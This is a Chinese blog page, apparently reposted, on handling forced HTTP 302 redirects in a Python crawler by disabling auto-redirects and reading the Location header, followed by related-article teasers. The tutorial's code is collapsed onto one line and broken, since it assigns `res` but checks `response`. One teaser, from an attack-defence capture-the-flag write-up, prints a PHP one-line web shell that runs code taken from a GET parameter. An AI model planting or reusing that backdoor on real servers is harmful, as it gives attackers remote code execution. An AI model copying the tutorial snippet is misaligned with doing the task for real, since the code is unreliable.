爬虫重定向问题解决

一,问题

做爬虫时会遇到强制重定向的链接,此时可以手动获取重定向后的链接
如下图情况

第二个链接是目标要抓取的,但它是第一个链接重定向过去的,第一个链接接口状态也是302

二,解决方法

请求第一个链接,设置 allow_redirects = False
从响应头中提取 Location 参数,即为重定向后的链接

res = requests.get(url = url, headers = headers, data = data, allow_redirects = False)
if response.status_code == 302:new_url = response.headers['Location']new_response = requests.get(new_url, proxies=proxies)print(new_response.text)

在上面的代码中,我们首先发送一个不允许重定向的请求,如果返回的状态码是302,表示发生了重定向,我们可以通过response.headers[‘Location’]来获取重定向后的新URL ,然后发送新的请求来获取数据。

总结在Python爬虫开发中,处理重定向URL问题是非常的。我们可以通过查看代码、历史重定向和响应的头部信息来了解重定向的重要情况,通过设置allow_redirects参数来控制是否允许重定向,以及通过自定义处理重定向的逻辑来解决重定向问题。希望本文对你有所帮助,谢谢阅读!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61636.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题 预期:当每行获取红包金额的时候若出现错误,右侧当行会出现提示 结果:获取红包金额出现错误,右侧对应行并没有出现错误提示 我发现,当我们设置readonly的时候,其实render函数依旧是…

解决 vxe-table v3.9 + iview 或者 view-design 中使用 Select 后无法选中的问题

官网文档:https://vxetable.cn 在开发 vue 项目中,使用 vxe-table 时,当同时配合 iview 或者 view-design 组件库使用时,发现一个问题,就是在单元格中渲染 Select 时,会导致下拉选项无法被选中&#xff0c…

「Mac玩转仓颉内测版27」基础篇7 - 字符串类型详解

本篇将介绍 Cangjie 中的字符串类型,包括字符串的定义、字面量形式、插值表达、常用操作及应用场景,帮助开发者熟练掌握字符串的使用。 关键词 字符串类型定义字符串字面量插值字符串字符串拼接常用操作 一、字符串类型概述 在 Cangjie 中,…

一种简单高效的RTSP流在线检测方法,不需要再过渡拉流就可以获取设备状态以及对应音视频通道与编码格式

平台如何检测一路RTSP流是否在线? 在之前的流媒体平台方案中,我们都是通过定时RTSP拉流的方式,走一个完整的RTSP流程:包括OPTIONS、DESCRIBE、SETUP、PLAY、RTP收流,这种方式去取流,然后取到流之后进行流解…

Excel中超链接打开文件时报错 “打开此文件的应用程序没有注册“ 的一个解决办法

需要在Excel中快速打开.bas后缀的文件,所以添加了文件超链接,但是在打开文件的时候报错 “打开此文件的应用程序没有注册” 找到文件直接双击是可以正常打开的,说明是哪里有问题,导致Excel不能找到可以打开文件的程序&#xff0c…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中,数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例:如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失(Vanishing Gradient)问题是深度神经网络训练中的一个关键问题,它主要发生在反向传播过程中,导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞,严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法,适用于多输入多输出(MIMO)系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整,同时通过解耦策略减少变量之间的相互影响,提高控制…

数据库类型介绍

1. 关系型数据库(Relational Database, RDBMS): • 定义:基于关系模型(即表格)存储数据,数据之间通过外键等关系相互关联。 • 特点:支持复杂的SQL查询,数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp(网络时间协议时间戳):这是一个64位的时间戳,记录着发送SR的NTP时间戳,用于同步不同源之间的时间。RTP Timestamp&#xff1…

《让照片或视频中的人对口型读文稿的APP》

《让照片或视频中的人对口型读文稿的APP》 剪映 功能特点: 操作简单,容易上手。它有丰富的音频功能,你可以导入自己想要的文稿音频。在视频编辑方面,能精确剪辑视频片段,调整播放速度,使人物的口型和音频更…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…

PHP 实现页面跳转的三种方式及详细解析

目录 前言1. PHP 跳转2. HTML 跳转3. JavaScript 跳转 前言 在 PHP 中实现页面跳转有多种方式&#xff0c;常见的方式包括 PHP 自带的 header() 函数、HTML 元素 <meta> 标签和 JavaScript 的 window.location 三者的差异表格如下&#xff1a; 跳转方式优点缺点适用场…

深入理解 PyTorch 的数据加载

深入理解 PyTorch 的数据加载 在进行深度学习时&#xff0c;数据的加载和预处理是至关重要的步骤。PyTorch 提供了 torch.utils.data.Dataset 和 torch.utils.data.DataLoader 这两个强大的工具来简化这一过程。 1. torch.utils.data.Dataset Dataset 是 PyTorch 中用于定义…

.NET 9 全面上线:开启开发新纪元

微软最新发布的.NET 9为开发者带来了翻天覆地的变化&#xff0c;这次升级不仅仅是一次普通的版本迭代&#xff0c;更像是为开发者打开了一扇通往未来的大门。 性能革新&#xff1a;AOT编译的突破性进展 原生提前编译&#xff08;AOT&#xff09;是此次更新最耀眼的明珠。过去&…